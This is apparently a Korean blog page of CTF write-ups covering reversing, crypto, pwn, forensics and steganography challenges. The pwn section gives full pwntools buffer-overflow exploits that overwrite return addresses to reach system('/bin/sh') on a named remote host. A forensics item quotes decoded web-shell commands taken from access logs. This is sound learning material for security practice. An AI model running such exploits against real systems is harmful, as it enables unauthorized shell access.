반응형
반응형
반응형

http://52.79.224.215

Rev

How you find my flag?

150

 

32bit elf 파일이 주어진다.

 

main함수에서 flag의 마지막 부분을 찾을 수 있고, I5_My 함수에서 함수 명이 flag의 중간 부분이 된다.

 

그리고 I5_My에서 문자열을 xor 연산 하는 것을 알 수 있다. 이 xor연산을 돌려주면 flag의 처음 부분이 된다.

 

main() 함수와 I5_My() 함수. IDA 32bit을 이용하면 볼 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#python3
= "D : : h I ^ L q ] b 9 x 9 U"
 
= list(map(str, p.split()))
 
flag_b = [0]*len(n)
 
for i in range(0len(n)):
    flag_b[i] = ord(n[i]) ^ 0xa
 
flag = ""
for j in range(0len(n)):
    flag += chr(flag_b[j])
print(flag)
 
cs

 

반응형
반응형

http://52.79.224.215

Crypto

 

Very Easy Crypto

100

 

ascii85

 

The Middle Age Crypto

100

 

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

 

'Codes and Ciphers' Puts Students to Test | Bryn Mawr Alumnae Bulletin

'Codes and Ciphers' Puts Students to Test 'Codes and Ciphers' Puts Students to Test Math course offers insight into creating and solving secret messages. At their simplest, they are used by kids passing notes in class and at their most complex, by governme

www.brynmawr.edu

 

You Decode it?

175

 

문제 :

1
2
3
4
5
6
7
8
9
10
11
12
from * import flag, shift 
 
list_ = ['0x475''0x3b0''0x471''0x47a''0x39c''0x465''0x476''0x46d''0x46d''0x47a','0x39c''0x460''0x471''0x47a''0x473''0x477''0x3b3''0x3a2''0x3a2']
 
def encrypt(d,shift):
    e = []
    for c in d:
        e.append(hex((ord(c)+shift)^99))
    return e
 
if list(encrypt(flag,shift)) == list_:    # 문법 상으로는 맞지 않음. 이해를 위해서 넣은 코드구문
    print("encoding success!!")
cs

 

 

풀이 :

1
2
3
4
5
6
7
8
9
10
11
12
13
list_ = [0x4750x3b00x4710x47a0x39c0x4650x4760x46d0x46d0x47a,0x39c0x4600x4710x47a0x4730x4770x3b30x3a20x3a2]
list = []
 
 
for i in list_:
    list.append(i^99)
 
for shift in range(0,951):
    flag = ""
    for j in list :
        flag += chr(j-shift)
    print(flag)
 
cs

 

반응형
반응형

http://52.79.224.215

 

Pwn

What is bof?

100

exeinfo.exe로 32bit elf 파일임을 알아내고 ida 32bit로 연다.

 

main() 과 flag()

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-14h]@1
 
  setvbuf(_bss_start, 020);
  printf("Go through it!! >> ");
  gets(&s);
  printf("YOu Input : %s\n"&s);
  return 0;
}
cs
1
2
3
4
5
int flag()
{
  printf("Y0u Ar3 Fl@g Here!!");
  return system("/bin/sh");
}
cs

 

main함수에서 발생하는 bof를 통해 ret주소를 flag()의 주소로 덮어서 쉘을 실행시킨 뒤, flag 파일을 읽으면 된다.

 

main:7 에서 입력길이에 제한이 없는 gets() 함수를 사용하므로  ret을 덮을 수 있다.

 

s는 bp-14h에 위치한다. 

 

s[20] + sfp[4] + ret[4]     ==========> 24바이트를 덮고 retflag()주소인 0x08048516으로 덮으면 된다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#python
from pwn import *
 
= remote("52.79.224.215"30005)
 
flag = 0x08048516
 
payload = "A"*24 + p32(flag)
 
p.recvuntil(">> ")
p.sendline(payload)
 
p.interactive()
 
cs

 

very ezzzzzz!!

100

what is bof? 문제와 동일 하다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-40h]@1
 
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  gets(&s);
  sleep_puts("Wait!!!!!!");
  sleep_puts("You should stop");
  sleep_puts("Stealing flag...");
  sleep_puts("Wait 10sec..");
  sleep_puts("Wait 8sec..");
  sleep_puts("Wait 6sec..");
  sleep_puts("Wait 4sec..");
  sleep_puts("Wait 2sec..");
  sleep_puts("Okay");
  sleep_puts("I'll give you a flag!!");
  puts("N00bCTF{wow_your_very_good!!}");
  return 0;
}
cs

 

gets함수를 사용하고 있고, s는 bp-40h에 위치한다.

 

sfp까지 해서 68바이트를 덮고 ret을 get_flag()함수 주소로 덮어주면 된다.

 

get_flag() : 0x08048556

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
#python
from pwn import *
 
= remote("52.79.224.215"30006)
 
flag = 0x08048556
 
payload = "A"*68 + p32(flag)
 
p.sendline(payload)
 
p.interactive()
cs

 

 

 

Over the RET

150

 

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln(18273645);
  return 0;
}
cs
1
2
3
4
5
6
7
8
9
10
11
int __cdecl vuln(int a1)
{
  int result; // eax@1
  char s; // [sp+0h] [bp-40h]@1
 
  gets(&s);
  result = puts(&s);
  if ( a1 == 12563478 )
    result = system("/bin/sh");
  return result;
}
cs

 

main함수에서 vuln함수를 호출하고 인자(a1)로  18273645를 주고 있다.

vuln함수에서는 그 인자(a1)의 값dl 12563478이면 쉘을 실행한다.

 

 

a1은 bp+8h에 위치한다.

 

s[bp-40h]=====64bytes=======sfp[4]==ret[4]==a1[bp+8h]

이고, gets(&s); 를 사용하므로 총72바이트를 덮고 그 다음 값으로 a1을 덮을 수 있다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("52.79.224.215"30007)
 
a1 = 12563478
 
payload = "A"*72 + p32(a1)
 
 
p.sendline(payload)
 
p.interactive()
 
cs

 

반응형
반응형

http://52.79.224.215

 

 

Disk Forensic

Emergency!! Leak my source code..

100

access.log를 먼저 봤다. 모든 접근 기록이 담겨 있어서 모든 것을 조사해 볼 수는 없었다. 범위를 좁히기 위해서 다른 파일들을 살펴 보았다.

 

 

 

sad파일에서 수상한 pid를 찾을 수 있다.

 

               pid    ppid

www-data  5230  5244  0 10:11 ?        00:00:00 php -f /var/www/upload/ws1004/image/hack.php
www-data  5244   814  0 10:11 ?        00:00:00 sh -c php -f /var/www/upload/ws1004/image/hack.php

 

 

hack.php와 관련이 있음을 구할 수 있다. hack.php와 관련한 로그만 찾으면 되기 때문에 access.log에서 hack.php를 검색해서 나오는 모든 로그들을 모았다.

 

 

 

 

[25/Oct/2019:17:18:51 +0900] cHdk
[25/Oct/2019:17:26:23 +0900] bHMgLWFsICAvdmFyL3d3dy91cGxvYWQvd3MxMDA0L2ltYWdlLw%3D%3D
[25/Oct/2019:17:21:12 +0900] dGFyIC1jdmYgL3Zhci93d3cvdXBsb2FkL3dzMTAwNC9pbWFnZS8xMjU5MTIzNzQ5IC92YXIvd3d3Lw%3D%3D
[25/Oct/2019:17:26:40 +0900] cGhwIC1mIC92YXIvd3d3L3VwbG9hZC93czEwMDQvaW1hZ2UvaGFjay5waHA%3D

 

시각과 쿼리로 넘어가는 명령어만 기록해봤다.

 

 

base64로 인코딩 되었는데, 4번째 명령어는 아래와 같다.

php -f /var/www/upload/ws1004/image/hack.php

 

해당 명령어를 실행하는 쉘의 pid는 5230이다.

 

따라서 플래그는 N00bCTF{2019-10-25_17:26:40&5244} 가 된다.

반응형
반응형

Cryptography

 

Art 150

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

INFO{HO_OHO_OHOOHO_HELLO_THIS_IS_MATSURI_YOU_KNOW_FREEMASON_CIPHER!!!!}

 

 

 

Quick Brown Fox

150

 

1. 모스부호 디코딩 -> 2. dec to ascii -> 3. reverse(앞 뒤를 뒤집는다.) -> link!(링크로 접속) and find flag in imag (이미지 속에서 플래그를 찾을 수 있다.)

 

1. https://morsecode.scphillips.com/translator.html

 

2. https://www.branah.com/ascii-converter

변환후 Remove spaces 클릭하자

 

3. https://cryptii.com/

Reverse 선택

 

 

 

 

Baby RSA 250

c^d mod (p*q) = m(평문)

 

system32.kr RSA 문제들 풀이 참조

 

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

 

 

VcipherTEXT

250

비제네르 키 길이 3로 브포 공격

https://www.dcode.fr/vigenere-cipher

 

key 길이 3을 몰라도, 브포 공격으로 해도 나오긴 한다.

 

 

 

No RSA No Life

rsatool.py 이용해서 d를 구한뒤 baby rsa와 동일 풀이

 

system32.kr RSA문제 풀이 참조:

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

반응형
반응형

King bases on 8,8

100

[문제 설명] 왕은 무엇에 기반을 두고 있을까
[출제자] 정준영(Joon)
[출제이력] 없음
[암호문]

Vm0weE5GbFdiRmRXV0doVFYwZG9XVll3WkZOVU1WVjNXa2M1VjFadGVGbFVWbHBQVjBaS2MxZHVhRlpOYWtWM1ZrUktTMU5HVm5KWGJGcFhaV3haZWxkWGRHRlRiVkY1Vkd0c2FWSnRhRzlVVjNoTFlqRmFjMWt6YUZkTmF6VjZWa2MxUjFWdFNrZFhiR3hXVFVaYVRGWXhXbHBsVlRGVlZXeE9UbUY2VmxsV2JUQXhWakpHYzFOc1ZsZGhlbXhZV1ZSS1UyTnNVbk5YYlVaVVVqRktTVlJzWkRCVWJGcFdZMFpTVjFaV2NGTmFSRVpEVld4Q1ZVMUVNRDA9

 

base64 디코딩 여러번 때려주면 된다.

 

 

 

Not encrypted

100

[문제 설명] 어떻게 암호화되었을까?
[출제자] 이경하(nulLeeKH)
[출제이력] 없음
[암호문] QTBWM1J7MXRfMXNfbjBUXzNuQ1J5UFQzZH0=

 

... base64 디코딩 해주면 끝. 

 

 

전화기를 열어라

100

[문제 설명] 아오바는 은밀하게 히후미의 스마트폰을 열어보고자 한다. 아오바를 도와주자! (형식 : A0V3R{numbers})
[출제자] 이경하(nulLeeKH)
[출제이력] 없음
[암호문] Li0tLS0gLS0tLS0gLi4tLS0gLS4uLi4=

 

또 base64 디코드. 모스부호가 나오는데, 해독해주면 숫자 4자리가 나온다. 플래그 형식에 맞게 제출하면 된다.

 

 

 

First Crypto

200

[문제 설명] 아오바가 쪽지를 건네주었다. 뭐라고 적었을지 알아보자.
[출제자] 이경하(nulLeeKH)
[출제이력] 없음
[암호문] fUEzRTBKX08wX1hDeWhBbF9DQkFyT18zcUN7QTNFMEo=

 

일단 base64 벗겨내주면

}A3E0J_O0_XCyhAl_CBArO_3qC{A3E0J

 

글자가 역순으로 되어있다. 아래 사이트를 이용해 reverse 해주고 카이사르도 돌려주면 플래그가 나온다.

https://cryptii.com

 

Modular conversion, encoding and encryption online

Web app offering modular conversion, encoding and encryption online. Translations are done in the browser without any server interaction. This is an Open Source project, code licensed MIT.

cryptii.com

 

 

 

아오바의 키는 몇cm일까?

200

[문제 설명] 아오바는 회사에서 시행한 건강검진 결과를 알고싶어한다. 그런데, 키를 읽는 데에 어려움을 겪고 있다고 한다. 곤경에 빠진 아오바를 도와줘서 환심을 사 보자!
[출제자] 이경하(nulLeeKH)
[출제이력] 없음
[암호문]

 =0SLt0iLg0iLu4iLg8CIt0SLt0CIt0iLu4CIvAiLu4iLtAiLu4iLuAyLg0SLu4iLg0SLu4iLg8CIt0SLu4CIu4iLu4CIvAiLu4SLg4iLu0SLg8CIt0SLt4CIt0iLu4CIvASLu4iLuAiLu4SLtAyLg4SLu4CIu4iLu4CIvASLt0SLuASLt4iLuAyLg0SLu4iLg4iLu4iLg8CIu0iLuAiLu4iLuAyLg0SLt0SLg0SLu4iLg8CIuASLu4iLuAyLg0SLu4iLg0SLu4iLg8CIu4SLt0CIu4iLu0CIvAiLu4iLuAiLu4iLuAyLg4CIu4iLu0CIvASLu4iLuAiLu4iLtAyLg0SLt4iLg4iLu4iLg8CIt0iLu4CIt0iLu4CIvASLu4iLuASLt4iLuAyLg0iLu4iLg4iLu4SLg8CIu4SLg0SLt4iLg8CIu4iLu0CIu4iLu0CIvASLt0SLtASLt4iLuAyLg4iLu4iLg4iLu0SLg8CIt0SLu4CIu4iLu4CIvASLu4iLuAiLu4iLuAyLg4SLt0SLg4iLu0SLg8CIu4SLg0SLt4iLg8CIuASLu4iLuAyLg0SLt0iLg0SLu4iLg8CIuASLu4iLuAyLg0SLu4iLg0SLu4iLg8CIu0iLuAiLu4iLuAyLg0SLu4iLg4iLu4SLg8CIu4SLg0iLu4iLg8CIu4SLg4iLu0SL

 

 

base64 패딩 '=' 이 앞으로 와 있으니 역순임을 알 수 있다. 위 사이트에서 reverse 해주고 base64 디코딩 해주자.

그러면 모스부호가 나온다. 해독해주면 hex값이 나온다.

ascii로 변환하고 다시 reverse해주면 플래그가 나온다.

 

 

PaddedRSA

250

[문제 설명] 겨울에 패딩 입은 RSA
[출제자] 김진서(KJSMAN)
[플래그 형식] A0V3R{FLAG}
[출제이력] 없음
[접속] nc ctf.dle.pw 1984

 

 

솔버가 2명뿐이라서 어려운 문제인 줄 알았다가 그냥 한번에 풀려버린 문제이다.

 

nc에 접속을 하면 n e c를 주고 죽는다.

 

주어진 n을 소인수분해하는것은 불가능하다. 그러나 e가 3으로 매우 작다. 그러므로 아래 문제와 동일하게 풀어낼 수 있었다.

 

https://mandu-mandu.tistory.com/258

 

System32.kr [RSA105] 풀이

RSA105 풀이 : e가 매우 작은 경우 n : 14563994539777678316321336781712344883711529518189434139233680882263409604514153869699501702104322682479573897503872406635890483506906896813982089686642192006130..

mandu-mandu.tistory.com

 

padded 때문에 어떤 과정이 더 있을 줄 알았는데, 나온 플래그를 그대로 인증하니 인증이 되어버렸다......

 

 

Animals In The Middle

350

[문제 설명] 해독해보자.
[주의사항] 전부 대문자로 입력하셔야 합니다.
[출제자] 정준영(Joon)
[출제이력] 없음

 

 

다른 문제 풀다가 우연히 찾았다. https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

불러오는 중입니다...

 

 

 

반응형
반응형

Basic RSA (100pt)

 

 

#### PUBLIC KEY ####
e : 925
n : 119401
#### PRIVATE KEY ####
d : 29569
#### ENCODED MESSAGE ####
m : 26018
====================

 

비밀키랑 암호화된 메세지를 준다.

 

rsa 복호화 방법인 modular exponentiation으로 풀면 된다. 나온 값을 문자로 변환해서 보내면 된다.

 

스테이지 수가 많은데, 개수가 정해지지 않은 것 같다. 한 30스테이지까지 돌도록 해서 여러번 돌려주면 플래그를 얻을 수 있다.

 

중간에 오류나는 경우도 있었는데, 다시 돌려서 해당 경우에 안걸리면 된다.

 

 

 

 

 

풀이자가 적어서.. 많아지면 풀이 코드를 올리겠습니다.

반응형
반응형

can you see HTTP Response header?

 

 

 

 

크롬을 이용하면 된다.

 

 

f12 > Network > f5 > Response Headers

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22
Wargame.kr [flee button] 풀이  (0) 2019.08.21
반응형

카토 이미지 보고싶다.

200

[문제 설명] 변태 C#
[출제자] 황수민(Xixon)

 

 

exe파일이 하나 주어진다.

Exeinfo PE로 분석해보면 .NET으로 작성된 프로그램임을 알 수 있다.

 

 

dotPeek로 열었다.

업로드 할 파일명이 kato_megumi 이어야 하는 것 같다.

 

 

빈파일 하나 만들어서 이름을 kato_megumi 으로 하고 업로드를 하니 플래그가 나왔다.

 

 

 

 

No_Reverse_No_Life

200

[문제 설명] 허허 풀어 보랑께 노겜노라 시리즈의 시작!!
[출제자] 황수민

 

 

?

반응형
반응형

Moving but not moved

75

[문제 설명] 움직이지 않는 오브젝트는?
[출제자] 정준영(Joon)

 

 

Hxd로 보면 맨 마지막 부분이 PNG의 푸터 시그니쳐다. 헤더 시그니쳐를 찾아서 추출해내면 flag가 나온다.

 

 

 

Archives

100

[문제 설명] 귀여운 아오바가 숨긴 비장의 플래그는 무엇일까?
[출제자] 정준영(Joon)

 

 

pptx파일 하나가 주어진다. 확장자명을 zip으로 바꿔서 ppt > media > image5.png을 열어보면 플래그가 나온다.

 

 

Inside the beat

100

[문제 설명] 비트를 타자
[출제자] 정준영(Joon)

 

 

osz파일이 주어진다. 근데 HxD로 열어보면 파일시그니쳐가 PK, 즉 ZIP파일과 구조가 같음을 알 수 있다.

그래서 zip으로 파일명을 바꿔주고 열어보면 된다.

 

 

그러면 mp3파일을 하나 찾을 수 있고, HxD로 열면 최하단에서 플래그를 찾을 수 있다. 근데 끊어져 있다.

 

그래서 해당 파일 헥스 처음부분을 확인하니 전체부분을 확인할 수 있었다.

 

 

 

Not compressed

100

[문제 설명] 어떻게 압축되었을까?
[출제자] 정준영(Joon)

 

 

 

Hxd로 보면 시그니쳐는 PK로 압축 파일인데 그 다음부분부터는 모두 PNG 부분같다.

 

그래서 헤더를 PNG헤더로 바꿔주었더니 flag을 얻을 수 있었다.

 

 

 

너의 비밀번호는

100

[문제 설명] 최고급 사전을 눈이 아닌 다른것으로 읽어보자.
[출제자] 정준영(Joon)

 

 

사전공격으로 패스워드를 찾아내면 된다.

 

 

 

Note graph

150

[문제 설명] 우리는 음표와 비슷한걸 읽어봐야합니다.
[출제자] 정준영(Joon)

 

 

sonic visualiser을 이용해서 Pane> add spectrugram

플래그!

 

 

 

CAN_YOU_FIND?

250

[문제 설명] 날 찾아줘
[출제자] 황수민

 

 

HxD로 열고 찾기 기능으로 A0V3R을 검색하니 플래그를 찾을 수 있었다.

 

 

 

Extend

300

[문제 설명] 뛰는놈위에 나는놈 있다.
[출제자] 정준영(Joon)

 

 

사진 열어보면 머리카락이라고 한다. 머리카락 = 높이

bmp구조를 봐서 높이 부분의 값을 조금씩 높이다 보면, 플래그가 보이기 시작한다.

 

 

 

카토의 눈은 정말 최고입니다

300

[문제 설명] 마음에 눈으로 보십시오.
[출제자] 황수민(Xixon)

 

 

mp3파일이 하나 주어진다. hxd로 열어서 플래그 찾으니 나온다. 왜????

 

 

 

LAST_SAEKANO

300

[문제 설명] kato_eyes_revenge
[출제자] 황수민

 

mp3파일인데 파일 썸네일을 보면 검을 글자같은게 보인다.

HXD로 열어서 jpg파일 추출해내면 플래그를 확인할 수 있다.

jpg 푸더 시그니쳐는 FF D9이다.

 

 

 

미술품 구매계획

400

[문제 설명] 고가의 미술품을 미리볼 수 있는 프리뷰이다. 한번 둘러보자.
[출제자] 정준영(Joon)

 

 

ppt파일이 주어지는데, 일단 zip으로 바꿔준다.

ppt\media\에 이미지 9개가 있다. 모두 openstego를 써준다.

 

image5.png에서 flag.png가 추출된다. 그런데 flag.png에 이미지가 표시되지 않는다.

hxd로 열어보면 시그니쳐가 png가 아닌 jpg로 되어있는 것을 확인할 수 있다.

시그니쳐를 png로 바꿔주고 다시 열어주면 플래그가 나온다.

Matryoshka Doll

500

[문제 설명] 옛날옛적에 러시아에 살던 어떤 사람이 마트료시카 인형에 중요한 깃발을 숨겨놓았다고 한다. 찾아보자.
[출제자] 정준영(Joon)

 

 

푸터부분을 보면 APNG assembler을 사용한 것을 알 수 있다.

그래서 APNG disassembler을 검색하니까 나오길레 설치해서 해봤다. 2개의 이미지가 나오게 되는데...

 

openstego를 사용하면 docx파일이 하나씩 나온다. (openstego 오랜만에 써본다.)

 

 

flags.docx에서 flag의 절반을 얻을 수 있다.

 

그리고 다시 zip으로 바꿔서 word\fonts.xml을 hxd로 열면 나머지 플래그가 있다.

 

 

정말 많을걸 해야하는 문제...

반응형

+ Recent posts